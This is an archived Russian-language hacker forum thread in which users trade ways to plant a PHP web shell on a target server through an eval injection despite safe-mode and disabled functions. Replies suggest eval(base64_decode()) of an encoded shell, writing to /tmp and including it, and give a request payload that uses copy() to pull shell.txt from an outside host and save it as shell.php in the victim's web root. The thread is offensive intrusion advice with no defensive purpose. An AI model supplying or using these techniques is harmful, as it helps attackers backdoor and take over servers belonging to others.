Просмотр полной версии : Как залить веб шелл через eval.
Вообщем инклуды не локальный не удалённый не проканают. Safe-mode on + base dir. Отличены почти все функции. Кто подскажет что интересного?
BlackSun
04.10.2008, 20:12
file_get_contents && fopen && fputs не катят?
----------
Или заэнкодь любимый шелл в base64, потом eval(base64_decode("youShell")), ну а дальше уже удобней будет
Не создаёт файл. Больше нет способов?
BlackSun
04.10.2008, 21:47
Не создаёт файл. Больше нет способов?
Чмод не позволяет или ограничения? Попробуй в /tmp/ записать, а потом заинсклудить
Nightmarе
04.10.2008, 21:53
Была похожая ситуация, я заливал через copy
Таким образом:
&lol=http://site.ru/shell.txt&lol2=/home/site.com/www/shell.php&бажный_параметр=copy(lol,lol2);
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot